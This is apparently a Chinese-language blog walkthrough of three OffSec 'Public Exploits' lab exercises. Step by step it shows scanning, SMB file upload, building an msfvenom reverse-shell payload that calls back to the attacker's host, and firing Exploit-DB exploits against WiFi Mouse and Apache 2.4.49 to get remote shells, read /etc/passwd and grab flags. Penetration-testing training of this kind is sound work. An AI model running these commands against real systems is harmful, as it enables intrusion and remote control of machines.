公開的漏洞(Public Exploits) - 練習
公開的漏洞(Public Exploits) - 練習
練習 1 (12.4.1.1)
靶機 IP : 192.168.225.10
先 rustscan └─$ rustscan -a 192.168.223.10 --scripts none --ulimit 500
135、139、445、1978、跟一堆 RPC High Port 看來是台 Windows,445 SMB 看來較有機會
用 nmap 帶 script 掃一下 OS 看看
└─$ sudo nmap -v -p 139,445 --script smb-os-discovery 192.168.225.10
是台 Windows 10 獨立機器無 Domain,主機名稱是 remotemouse
使用 curl 指令丟個 body.txt 檔案上去試試看
└─$ curl --upload-file /home/kali_r/body.txt -u 'workgroup\guest' smb://192.168.225.10/offsec/
不用 curl 在 smb 底下也可以直接使用 put 指令上傳檔案,刪除檔案使用 rm
重新 dir 一下,看到該路徑確實可以寫入檔案
逛了一下整個 offsec 的目錄與相關檔案,僅有 Downloads 路徑下有幾個檔案
主要是三個 *.exe 檔案跟最後一個圖檔(下載回來看過了沒啥鳥用)
第一個檔案 7z2200-x64.exe,是 7-ZIP 22 版安裝程式,依據資安人口理論
Google 搜尋 7z2200-x64.exe exploit 看來沒啥鳥用
第二個檔案 ccsetup601.exe,是 CCLear 6.01.xx 版安裝程式,依據資安人口理論
Google 搜尋 ccsetup601.exe exploit 看來一樣沒啥鳥用
第三個檔案 MouseServer.exe,不知道是啥但 Google 搜尋 MouseServer.exe exploit
第一個是 exploitdb 第二個是 github,看來應該是它,拜讀漏洞看看
Exploit DB 上搜尋 WiFi Mouse 1.7.8.5 可以看到有兩個 Exploits 如下圖
很少有 Exploit A 屬性會有檔案,看一下發現連結如下,跟 SMB 中看到的檔案一樣
看來應該就是它了
https://www.exploit-db.com/apps/46b494c56615f48dd09065108d604762-MouseServer.exe
點進去 https://www.exploit-db.com/exploits/50972 看到 Port = 1978
想到一開始的 rustscan 掃到 1978 Port ,看來中獎了
文件內容寫明需要參數如下
- 目標 IP
- Local IP
- payload-name --> 所以要先包好 payload
不知道要輸入甚麼其實直接執行該 python code 也會告訴你
except:
print("USAGE: python " + sys.argv[0]+ " <target-ip> <local-http-server-ip> <payload-name>")
exit()
既然有 payload 最簡單就是透過 msfvenom 內建的套件來包 payload,指令如下
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.187 LPORT=4444 -f exe -o shell.exe
參數 -p : --payload < payload> 指定需要使用的 payload (攻擊荷載)。也可以使用自定義 payload 幾乎是支援全平臺的
參數 -f : --format < format> 指定輸出格式
參數 -o : --out < path> 指定建立好的payload的存放位置
其他參數可以參考 https://www.796t.com/article.php?id=162291
包好後直接執行吧
└─$ python 50972.py 192.168.225.10 192.168.45.187 remoteshell.exe
HTTP Server 看到來抓 Payload 了
Remote Shell 進來了,拿答案吧
練習 2 (12.4.1.2)
靶機 IP : 192.168.199.188
先 rustscan └─$ rustscan -a 192.168.199.188 --scripts none --ulimit 5000
只有 80,看來應該相對容易
開啟來看一看網站
有填表格的地方,但這裡不是 command injection or SQL injection 所以先跳過
暫時沒看到用啥套件架站的
先做一下 whatweb 吧,看到 Apache 2.4.49,這目錄遍歷標準漏洞版阿
網頁上找不到可以利用的 URL 目錄遍歷
curl 特定幾個目錄也都沒有反應
└─$ curl http://192.168.199.188/cgi-bin/../../../../../../../../ect/passwd
URL encode 再打打看跳 500 Error
nmap 80 掃掃看,跟 whatweb 一樣結果,僅有個 Apache 2.4.49
└─$ sudo nmap -sV -sC -p 80 192.168.199.188
searchsploit Apache 2.4.49 看看結果
除了 Path Traversal 以外還有 RCE,代號 50383
那就用 RCE 漏洞測試看看
└─$ searchsploit -m 50383
Exploit DB 一樣搜尋 Apache 2.4.49 結果如下圖,A 屬性有東西看來就更像是它了
看一下 code,相對簡單,直接拿來利用試試看吧,這是一個 .sh 檔案,最後兩行有範例
# PoC.sh targets.txt /etc/passwd
# PoC.sh targets.txt /bin/sh whoami
所以先將目標靶機寫入 target.txt
因為答案幾乎都是在使用者的桌面或是家目錄底下,先查一下使用者帳號吧
└─$ ./50383.sh target.txt /bin/sh "ls /home"
看來只有一個帳號 offsec
ls 看看有啥東西,就看到 flag 了
└─$ ./50383.sh target.txt /bin/sh "ls /home/offsec"
直接 cat 拿答案吧
└─$ ./50383.sh target.txt /bin/sh "cat /home/offsec/flag.txt"
練習 3 (12.4.1.3)
靶機 IP : 192.168.199.52
帳號/密碼 : student/lab
SSH on Port 32826
第一步一樣先 rustscan
└─$ rustscan -a 192.168.199.52 --scripts none --ulimit 500
共開 6 個 Port,22、32822、32823、32824、32825、32826(SSH,題目有說)
if len(sys.argv) != 4:
sys.stderr.write("[-]Usage: python3 %s <remote ip> <local ip> <local listener port>\n" % sys.argv[0])
sys.stderr.write("[-]Example: python3 %s 172.16.1.66 172.16.1.139 443\n" % sys.argv[0])
sys.stderr.write("[-]Note: The default payload is a basic bash reverse shell - check script for details and other options.\n")
sys.exit(1)
留言
張貼留言